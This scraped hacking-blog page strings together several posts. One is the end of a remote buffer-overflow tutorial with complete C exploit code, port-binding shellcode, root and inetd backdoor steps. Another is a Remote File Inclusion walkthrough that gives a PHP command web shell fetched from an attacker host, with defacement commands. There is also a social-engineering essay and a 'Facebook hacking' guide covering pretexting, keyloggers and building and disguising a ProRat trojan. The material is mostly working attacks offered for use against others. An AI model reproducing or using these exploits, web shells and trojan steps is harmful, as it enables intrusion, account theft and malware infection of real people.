First we open gdb and search for the esp... to find esp you can put in the gdb.. (I hope you didn't close gdb) after getting a SEGFAULT... ok now type this x/200bx $esp-200 in, so you should get an ouput of addresses... It should look like this :

(gdb) x/200bx $esp-200

0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

---Type <return> to continue, or q <return> to quit---

Ok know we know that we've overwritten the whole buffer, so let's take one of those addresses... I'll show you later

why this... (because we want to guess the address), maybe you know the NOP's technique... so it shouldn't be any problem to

make our exploit working as well.... or to make our chance bigger to guess the return-address.

Attention don’t take the nearest address near the end of the 0x41, take an address which is in the middle, we’ll overwrite it later with NOPs.



5. Structure of the exploit code

So we've got a possible return address, let's try to use it... the exploit code should be structured like this:

1. First let's find out the esp.. ok we've got it. (ok we've got an address near the esp, that isn't any problem, because we’ll fill the buffer with NOP's)... then you should find a good shellcode which binds a shell on a port... Don't forget: in remote exploits we can't use local exploit shellcodes.. ok we could, but it isn’t very clever. So we have to find another way to get a shell. What about a portbinder shellcode, which binds a shell on a port ??

Ok in the net are many of these portbinder shellcodes .. i.e. www.hack.co.za or my page *g*.

2. Declaring a buffer which is bigger than 1024 bytes... let's make it 1064 bytes, so there is no problem to overwrite eip.. so don't forget you only have to declare a buffer which is greater than 1024 bytes...

3. Let's prepare the buffer. Now let's first fill the whole buffer with NOP's:

memset(buffer, 0x90, 1064);



4. Let's copy the shellcode into the buffer

memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));

Here we put the shellcode in the middle of the buffer

Why? Ok, if we got enough NOPS at the beginnig, our chance is getting better to execute the shellcode

5. Let's terminate the Nullbyte in the buffer

buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal

6. Let's copy the returnaddress at the end of the buffer

for(i = 1022; i < 1059; i+=4)

{

((int *) &buffer[i]) = RET;

// RET is the returnaddress we want to use... #define in the header

}

We know that the buffer ends by 1024 bytes, but to get sure we begin on 1022, then we’re copying the returnaddress until we’ve got 1059 bytes.. that is enough because we've already overwritten the eip (we hope so *g*).

7. Let's add a \0 Nullbyte at the end of our prepared buffer:

buffer[1063] = 0x0;

Now we've prepared our buffer, now we only need to send it to the vulnerable host.. by port and host or ip.

-------------------------------------------- exploit.c --------------------------------------------------

/* Simple remote exploit, which binds a shell on port 3789

* by triton

*

* After return address was overwritten, you can connect

* with telnet or netcat to the victim host on Port 3789

* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)

* So you should get an output, ok you’ve got a shell *g*. Always use:

*

* <command>;

*

* execute.

*/

#include <stdio.h>

#include <netdb.h>

#include <netinet/in.h>

//Portbinding Shellcode

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"

"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"

"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"

"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"

"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"

"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"

"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

//standard offset (probably must be modified)

#define RET 0xbffff5ec



int main(int argc, char *argv[]) {

char buffer[1064];

int s, i, size;

struct sockaddr_in remote;

struct hostent *host;

if(argc != 3) {

printf("Usage: %s target-ip port\n", argv[0]);

return -1;

}

// filling buffer with NOPs

memset(buffer, 0x90, 1064);

//copying shellcode into buffer

memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

// the previous statement causes a unintential Nullbyte at buffer[1000]

buffer[1000] = 0x90;

// Copying the return address multiple times at the end of the buffer...

for(i=1022; i < 1059; i+=4) {

* ((int *) &buffer[i]) = RET;

}

buffer[1063] = 0x0;

//getting hostname

host=gethostbyname(argv[1]);

if (host==NULL)

{

fprintf(stderr, "Unknown Host %s\n",argv[1]);

return -1;

}

// creating socket...

s = socket(AF_INET, SOCK_STREAM, 0);

if (s < 0)

{

fprintf(stderr, "Error: Socket\n");

return -1;

}

//state Protocolfamily , then converting the hostname or IP address, and getting port number

remote.sin_family = AF_INET;

remote.sin_addr = *((struct in_addr *)host->h_addr);

remote.sin_port = htons(atoi(argv[2]));

// connecting with destination host

if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)

{

close(s);

fprintf(stderr, "Error: connect\n");

return -1;

}

//sending exploit string

size = send(s, buffer, sizeof(buffer), 0);

if (size==-1)

{

close(s);

fprintf(stderr, "sending data failed\n");

return -1;

}

// closing socket

close(s);

}

--------------------------------------------- EOF-------------------------------------------------------

7. Using the exploit

user@linux~/ > gcc exploit.c –o exploit

user@linux~/ > ./exploit <host> <port>

Now it should work If you got the right return address... or one of the right return addresses.

user@linux~/ > telnet <host> 3879

If you’re connected then try to do this:

id;

uid=500(user) gid=500(user) groups=500(user)

As you can see, it works very well.





8. Getting root privileges

Do the following:

user@linux~/ > su

password: ******

root@linux~/ > ls –ln vulnerable

-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable

root@linux~/ > chown root vulnerable

root@linux~/ > chmod 6755 vulnerable

root@linux~/ > ./vulnerable <port>

Now you can exploit the server program, and you should get a root shell *g*

9. Enter the service in inetd.conf

Ok we’re interested how the program, would work, if it would be a deamon. Now do the following:

First copy the vulnerable pogram to /usr/bin/

root@linux~/ > cp vulnerable /usr/bin/vulnerable

Now let’s modify some files...

root@linux~/ > vi /etc/services

(Feel free to use your favourite editor instead of vi)

Define a port which you wanna take. I’ll take the port 1526, now let’s enter this informations into /etc/services

vulnerable 1526/tcp # defining port for our server program, save and quit

Now edit the inetd.conf file

root@linux~/ > vi /etc/inetd.conf

put in:

vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526

Now safe the inetd.conf file and quit.

root@linux~/ > killall –HUP inetd

Now restart inetd and everything should work..

Note: This is also a good way to make a backdoor, adding a service in /etc/services then, add the things in inetd.conf and right /bin/sh sh –i or sh –h *g*....

9. Problem solutions

If the exploit doesn’t work, please think about the return address, it could be wrong, test it with gdb....

user@linux~/ > gdb vulnerable

.....

(gdb) run <port>

Now you can exploit the program, if it doesn’t work look at the output of gdb, and try to find out the address, like in Chapter 4.

If there any other problems ... read the remarks *g*.

10. Remarks

If you find a bug, please mail me, so I can correct the current Version. If you want to criticize my english, I’ll delete your message :-) *nobody’s perfect*, but if you really got problems to understand this, please ask me... But please do not tease me with stupid question, I don’t have the time to answer every question.

If you want to put this text on your page, no problem, but please do not change the copyright or other things....

11. Greets

Thanks to Maverick for the vulnerable programm *hehe* (in his Tutorial "Socket Programming"),

thanks to triton for the exploitcode (great man, also member of buha-security.de)

Greets to all members of buha-security.de and greets to XaitaX, cat, Anthraxx, Jess (I wonder what happend with her), DrDoo (knuff)

and of course one of my best friends Richard Hirner (well I know him 1,2 year ago, but we didn't meet us.... *g*..)... at least greets to all apprentices of LGT Bank in Liechtenstein, special greets to Marc, Etienne, Martina... (Toni from Hospital too, my own appretice)

Read more »

Social Engineering

Why use Social Engineering?

The reasons for using social engineering to gain access are simple: once mastered, social engineering can be used on a system despite the platform or the quality of the hardware and software present. Social engineering comes in many forms, but they are all based on the principle of disguising oneself as a non-hacker who needs or deserves the information to gain access to the system. Aside from user larger security systems, another tactic that security professionals employ is 'security through obscurity,' which is providing little or no information to a user, assuming that legitimate users have already been trained, and that the hackers would be discouraged by having to guess different commands or procedures. Security through obscurity methods can also be accomplished by hiding certain files or information systems or having confusing login prompts. This method of security is completely undermined when social engineering is involved. With a legitimate human user providing information, all the information that allowed for security through obscurity would also be divulged to the hacker.

Methods of Attack?

Although the methods used by social engineers rely on the same principle, the disguises of the hackers may vary greatly, depending on the hacker's level of skill and the type of information he or she is after. One common method used is for the attacker to pretend he is new to the system and needs assistance with gaining access. The role as a new person (or 'newbie' or 'neophyte') is easy for a potential hacker to pull off. The hacker can easily pretend to not know much about a system and still retrieve information. This ruse is commonly used when the attacker is unable to research enough about the company or find enough information to get a foot in the door. A simple method of this technique is for the hacker to call a secretary for the company and pretend that he is a new temp agent and is having trouble gaining access into the system. The secretary (or other legitimate user) may be inclined and proud to be able to offer help to the new person on the job. The user may simply give out the guest account name and password, or may even go into detailed instructions on login procedures for different departments. Once the intruder is in a guest account however, he may be able to access other (more important) accounts from there. He may also be able to find out enough information about the company to use a similar tactic: reverse social engineering, which is covered in the next section.

Other guises used by social engineers are to pose as a computer aide or helper, and try to gain information as you fix the computer. This technique, however, relies on the assumption that there is something wrong with the computer system. By posing as a helper, the legitimate user will be less suspicious and more willing to answer your inquisitive questions. Another form for the attacker to take is that of a system operator for the network itself. The potential hacker will pretend that an error in all the accounts has been made, and the he needs to reset the accounts. In order to do that, he needs the old passwords of the users. If the employee is naive enough, he or she will divulge the information, thinking that they are doing their company a service. Although there are many other methods and techniques, these previous examples account for most recorded incidents of social engineers.

The disguises and tricks that the hackers use to social engineer legitimate users do have limits, however. During a social engineering attack, the hacker assumes a great deal and also relies on luck to pull off a successful hack. The above examples usually only work on employees who are not aware of the different forms of social engineering, or that they don't care about the company's security. Even if an employee is not aware of social engineering, he or she may not trust who the hacker is without proper identification. The employee may also be aware that temp agents usually have contact managers or other people within their own office to assist them, and would be suspicious when the call comes to their desk. These problems are a constant danger to the potential hacker, which has called for a new type of social engineering- called reverse social engineering.

Reverse Social Engineering

Reverse social engineering is a superior form of social engineering that deals with the common difficulties that come with normal social engineering. This form can be described as a legitimate user of a system asking the hacker questions for information. In reverse social engineering (RSE), the hacker is thought to be a higher-level that the legitimate user, who is actually a target. In order to pull of an RSE attack, however, the attacker must be knowledgeable of the system and usually must also have previous access granted to him, usually through normal social engineering. A quick glance of the some pros and cons of SE and RSE are given here:

Social Engineering: The hacker places the calls and is dependent on the user
Reverse Social Engineering: The user places the calls and are dependent the hacker

Social Engineering: The user feels that the hacker is indebted to them.
Reverse Social Engineering: The user feels indebted to the hacker.

Social Engineering: Questions often remain unresolved to the victim.
Reverse Social Engineering: All the problems are corrected, no suspicious loose ends

Social Engineering: The user has control by providing information.
Reverse Social Engineering: The hacker has complete control.

Social Engineering: Little or no preparation required.
Reverse Social Engineering: Lots of planning and previous access usually needed

The typical RSE attack consists of three major parts: sabotage, advertising, and assisting. After gaining simple access through other means, the hacker sabotages a workstation by either corrupting the station, or giving the appearance that it is corrupted. An abundance of error messages, switched parameters/options, or simulation programs such as fake prompts can accomplish this type of sabotage. The user of the system sees the malfunctions, and then tries to seek help. In order to be the one that the users call, the attacker must advertise that he or she is capable of fixing the problem. Advertising may include placing fake business cards around the office or even providing the number to call in the error message itself. A sample error message might be:

** ERROR 03 - Restricted Access Denied ** - File access not allowed by user. Consult with Mr. Crack at () 595-1474 for file permission information.

In this case, the user would call 'Mr. Downs' for help, and divulge account information without being suspicious of the legitimacy of 'Mr. Downs.' Another method of advertisement can actually involve social engineering. An example of this is for the hacker to call the target and inform them that the new technical support number has changed, and then the hacker would give them their own number. The third (and easiest) part of an RSE attack is for the hacker to assist with the problem. Since the hacker is the instigator of the sabotage, the problem is easily fixed, and the target is not suspicious of the helper since he or she appears to be a knowledgeable user of the system. The duty of the hacker is only to get account information out of the target while he is helping them. After the information is attained, the hacker solves the problem and then ends the conversation, eager to use his newfound knowledge.

Why Social Engineering Works

The use of social engineering and reverse social engineering are common because they often work under good conditions and take less time (and sometimes less knowledge) to pull off than brute-force attacks. They work because all humans have certain psychiatric characteristics that can be taken advantage of. Such characteristics are diffusion of responsibility, ingratiation opportunties, and moral duty. Diffusion of responsibility is used when the legitimate user feels that he or she is not solely responsible for their actions, which allows them to give up information more easily. A user may also divulge information if they feel that are doing something that will help them in the future, such as getting their boss out of a jam. Moral duty is played on when the target believes that they are helping the company with a problem, and they are often glad to help. There are other factors that allow social engineers to be successful, such as the use of guilt and personal persuasion.

Methods of Prevention

As social engineering and reverse social engineering become more prevalent, companies and network managers are trying to stop the attacks from being successful. Companies concerned with security realize that the great amounts of money spent on upgrades and security kits are being wasted if they can't prevent SE and RSE attacks. The simple answer to preventing these attacks is education. A knowledgeable user of a system can easily be told to never give out account information without pen-nission of a supervisor. The users should be aware of the common methods of SE attacks, and should always report suspicious behavior. While catching on to RSE attacks is much harder, the users should still be aware of who to trust when a problem occurs. Since social engineers can attack any employee for information, all employees should be concerned with methods of attacks. Hackers know that low-level employees and users with low company morale are easy targets for giving up information without much thought. These employees must team to care about computer and company security as a whole.

Conclusion

All computer systems in the world must rely on human operators that have vulnerable characteristics. No matter how secure the equipment is from electronic invasion, the knowledge extracted from a legitimate user may render a computer network inoperable if used in an unauthorized manner. Hackers try to learn how to manipulate legitimate users into providing valuable network information. Once in, they may even use reverse social engineering to gain further access to the system- this golden method of hacking is easily prevented by education the users to be aware of such attacks, and to use wise judgment when providing others with company information.

Read more »

Remote File Inclusion (RFI)

RFI stands for Remote File Inclusion, and it allows the attacker to upload a custom coded/malicious file on a website or server using a script. The vulnerability  exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript). This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, i suppose you will know what it is all about and may be able to deploy an attack or two.
RFI is a common vulnerability, and trust me all website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and do almost anything (including gagging them out or beg..well that's an exaggeration but I guess you get the idea :P ) . What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux..
Okay..Lets start..The first step is to find vulnerable site..you can easily find them using Google dorks..If you don't have any idea, you might want to read about advanced password hacking using Google dorks or to use automated tool to apply Google dorks using Google. Now lets assume we have found a vulnerable website

http://victimsite.com/index.php?page=home

As you can see, this website pulls documents stored in text format from server and renders them as web pages. We can find ways around it as it uses PHP include function to pull them out..check it out.

http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt

I have included a custom script “eveilscript” in text format from my website, which contains some code..Now..if its a vulnerable website, then 3 cases happen -

• Case 1 - You might have noticed that the url consisted of “”page=home” had no extension, but I have included an extension in my url,hence the site may give an error like “failure to include evilscript.txt.txt”, this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
• Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte “%00” in order to avoid error.
• Case 3 – successfull execution :)

Now once you have battled around this one, you might want to learn what to code inside the script. You may get a custom coded infamous C99 script (too bloaty but highly effective once deployed) or you might code yourself a new one. For this knowledge of PHP might come in handy. Here we go

<?php
echo "<script>alert(U 4r3 0wn3d !!);</script>";
echo "Run command: ".htmlspecialchars($_GET['cmd']);
system($_GET['cmd']);

?>

The above code allows you to exploit include function and tests if the site if RFI (XSS) vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. So…If you are in luck and if it worked, lets try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using “pwd” and “ls” commands.

http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript
http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript

What it does is that it sends the command as cmd we put in our script, and begins print the working directory and list the documents..Even better..you can almost make the page proclaim that you hacked it by using the “echo” command..

cmd=echo U r pwn3d by xero> index.php

It will then re-write the index.php and render it..In case,its a primitive website which stores pages with .txt extension, you might want to put it with along the .txt files.Now..as expected..We are now the alpha and the omega of the website :) we can download, remove, rename, anything! Want to download stuff ? try the “wget” function (cmd=wget.. get the idea..)..Want to move it out ? “mv”..
I leave the rest on your creativity..
COMPLETE HACKING IN ONE EBOOK DOWNLOAD NOW CERTIFIED ETHICAL COURSE FOR FREE

Read more »

FACEBOOK HACKING COMPLETE GUIDE

Hello Guys Its me back with the latest post related to “Facebook Hacking”.

Before moving on I would give you a special NOTICE In my Blog I have posted everything I have written and If that post was not written by me than I would write the source from where I have copied you can check it too.

So if you copy this post from my Blog http://www.devilscafe.co.cc/ than do write from where you have copied.

So now lets move on to the Topic.

Facebook Hacking I think most of you want to know how to hack Facebook password so in this post I have posted everything you should know to hack someone’s Facebook.

I will first introduce you with some Old style Hacking to Hardcore Hacking.

First one with the old and most the common method of getting someone’s password

i) Primary mail- You register your Facebook account from primary mail like yahoo, Gmail, etc. If you get access to someone’s primary mail than you can goto Forgot your password link get the confirmation code and access the account.

But How to get someone’s primary account’s password ?
Don’t worry about it you should do just what I have told you firstly go to yahoo.com(or other email provider) and press Forgot your password Link there you will be asked some questions like Where were you born or Where do you live By guessing this you can get the access to your friends account.

ii) Social Engineering- I think many of you know what social engineering is. If you don’t know do not worry I am gonna explain it.
Social Engineering is a process of manipulating someone by pretending that they are some one(like IT officer) and need your information to do some certain researches.
Here is an example of it :

Conversation between an Elite Hacker and a Newbie person(NooB)

Elite Hacker : Hi I got a good news for you
Newbie : What??
Elite Hacker : Do you want to learn hacking in few days.
Newbie now being excitedNewbie : Yeah Will you teach me ?
Elite Hacker : No I will post some of my Hacking Course video(top secret) in your account so give me your login details.
Newbie without thinking of anything gives his Facebook details.
This is pretty much how someone can hack your Facebook by pretending. I also used this process and hacked over 10+ account on my own.

iii) Friendship Attack- This is not a hacking process but I have included you to give full Guide. Ok friendship bomb is like Cheating your friend. You can install some programs in your friends PC and you can threaten him/her to give him/her password. Its kinna like Enemy attack.

iv) Garbage Dumping- There are many people who use long password and to remember they note that password in the paper and stick is somewhere usually behind the Keyboard. Sometimes they accidentally throw that paper in garbage. To check this some Professional Hacker (usually Crackers) search in the garbage of the person’s house. Its not like WHO WILL DO THIS KIND OF STUFF? but once you get the password or any sensible information than you make get an employment in Garbage Factory :P.

v) Hiring a Hacker- There is many hackers who crack someone’s password for you by paying. You can even find someone online.(BUT NOT ME PLZ) and tell them to do.
Now you have to be careful doing this cause there are many sites that tell you that they will crack password for you by paying but all they are doing is cheating on you so to confirm that they did hack the account then tell them to give a screenshot of it or tell what message you have send the user. This will make you safe if the hacker is fooling you.

vi) Spam Hack- Now this is more interesting. You may sometime have got spammed by some application in Facebook. Some application send message like Look how this girl killed herself after seeing this {link} now when you click on the link you will to be spammed some application spam by sending message in chat and some in Wall post.
Now we are taking this step to hack someone’s account. First create a application in Facebook which spam the user by telling [you] hacked my account praise him. Here you means your name like example If I have put Arpit there than It will say Arpit Hacked my account praise him. Now after looking this people or your friends will think that I have hacked him/her and people will gather around you. A neat way to cheat people ;).

vii) JavaScript- Now all of my favorite web programming language’s turn. If you think JavaScript is useless than you are Wrong. Its an very powerful language.
Now this trick doesn’t hack your friends password but make your friend look like they hacked. You can get a complex JavaScript which will display You got Owned Now by telling your friends to put that code in the browser’s address bar and Press Enter they will see a Box with you got owned It’s a good way to scare someone.

Now talking about some hardcore hacking \m/

i) Key logger- Very common and most used method for hacking someone’s Facebook account. You can download a key logger like Easy logger.

Download Easy logger by searching on Google. Now once you download Easy Logger See the image below.

Don’t put your Using Gmail account info in that cause if an hacker caught the keylogger than he can retrive your Password.

ii)Rats- Now this is a real hardcore. Now this article is not written by me. To save the time and delivery you fastly I have copied from The Underground Hackers Handbook

Begin-

To show you an example of a malicious program, I will use a well known Windows Trojan, ProRat.

1. Download ProRat. Once it is downloaded right click on the folder and choose to extract it. A password prompt will come up. The password will be “pro”.

2. Open up the program. You should see the following:

3. Next we will create the actual Trojan file. Click on Create and choose Create ProRat Server.

4. Next put in your IP address so the server could connect to you. If you don’t know your IP address click on the little arrow to have it filled in for you automatically. Next put in your e-mail so that when and if a victim gets infected it will send you a message. We will not be using the rest of the options.

5. Click on the General Settings button to continue. Here we will choose the server port the program will connect through, the password you will be asked to enter when the victim is infected and you wish to connect with them, and the victim name. As you can see ProRat has the ability to disable the windows firewall and hide itself from being displayed in the task manager.

6. Click on the Bind with File button to continue. Here you will have the option to bind the trojan server file with another file. Remember a trojan can only be executed if a human runs it. So by binding it with a legitimate file like a text document or a game, the chances of someone clicking it go up. Check the bind option and select a file to bind it to. In the example I will use an ordinary text document.

7. Click on the Server Extensions button to continue. Here you choose what kind of server file to generate. I will stick with the default because it has icon support, but exe’s looks suspicious so it would be smart to change it.

8. Click on Server Icon to continue. Here you will choose an icon for your server file to have. The icons help mask what the file actually is. For my example I will choose the regular text document icon since my file is a text document.

9. Finally click on Create Server to, you guessed it, create the server file.

10. A hacker would probably rename it to something like “Funny Joke” and send it as an attachment to some people. A hacker could also put it up as a torrent pretending it is something else, like the latest game that just came out so he could get people to download it.

11. Now, I will show you what happens when a victim installs the server onto his computer and what the hacker could do next.

12. I’m going to run the server on my own computer to show you what would happen. Once I run it the trojan will be installed onto my computer in the background. The hacker would then get a message telling him that I was infected. He would then connect to my computer by typing in my IP address, port and clicking Connect. He will be asked for the password that he made when he created the server. Once he types it in, he will be connected to my computer and have full control over it.

15. Below is an image of my task bar after the hacker clicks on Hide Start Button.

16. Below is an image of what the hacker would see if he chose to take a screen shot of the victims screen.

As you saw in the above example, a hacker can do a lot of silly things or a lot of damage to the victim. ProRat is a very well known trojan so if the victim has an anti-virus program installed he most likely won’t get infected. Many skilled hackers can program their own viruses and Trojans that can easily bypass anti-virus programs.

iii) Phishing- Now you can get info about Phishing any where in Google Search in Google and Learn it.

SECURITY OWNED IS NOT THE AUTHOR OF THIS POST
THIS POST IS CREATE BY
http://www.devilscafe.in
AUTHOR:MINHAL MENDHI
THIS POST IS COPYRIGHT PROTECTED
BY DEVILSCAFE
FIND SME COOL TRICK FROMhttp://www.devilscafe.in

Read more »